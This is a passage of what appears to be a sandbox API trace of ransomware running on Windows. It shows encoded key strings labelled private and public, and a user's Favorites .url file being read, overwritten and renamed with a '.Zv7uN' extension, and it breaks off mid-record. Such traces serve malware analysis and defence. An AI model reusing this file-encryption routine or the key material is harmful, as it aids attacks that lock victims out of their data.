lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0125.106] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.107] GetCurrentThreadId () returned 0xa30 [0125.107] GetCurrentThreadId () returned 0xa30 [0125.107] GetCurrentThreadId () returned 0xa30 [0125.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.108] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.108] GetCurrentThreadId () returned 0xa30 [0125.108] GetCurrentThreadId () returned 0xa30 [0125.108] GetCurrentThreadId () returned 0xa30 [0125.108] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.109] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.109] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.109] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xe2 [0125.109] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.109] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0xe2, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0xe2, lpOverlapped=0x0) returned 1 [0125.112] CloseHandle (hObject=0x1ec) returned 1 [0125.112] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.114] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f6ac*=0xe2, lpOverlapped=0x0) returned 1 [0125.116] CloseHandle (hObject=0x1ec) returned 1 [0125.116] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.zv7un")) returned 1 [0125.116] GetCurrentThreadId () returned 0xa30 [0125.116] GetCurrentThreadId () returned 0xa30 [0125.116] GetCurrentThreadId () returned 0xa30 [0125.116] GetCurrentThreadId () returned 0xa30 [0125.117] GetCurrentThreadId () returned 0xa30 [0125.117] GetCurrentThreadId () returned 0xa30 [0125.117] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0125.117] GetLastError () returned 0x12 [0125.117] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.118] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5f58b020, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f58b020, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.118] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.118] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.118] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5f58b020, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f58b020, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.118] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.118] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.118] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.118] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f58b020, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Suggested Sites.url.Zv7uN", cAlternateFileName="SUGGES~1.ZV7")) returned 1 [0125.118] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.118] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.118] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f58b020, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Web Slice Gallery.url.Zv7uN", cAlternateFileName="WEBSLI~1.ZV7")) returned 1 [0125.118] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.118] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.118] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f58b020, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Web Slice Gallery.url.Zv7uN", cAlternateFileName="WEBSLI~1.ZV7")) returned 0 [0125.118] GetLastError () returned 0x12 [0125.119] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.119] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0125.119] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.119] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, 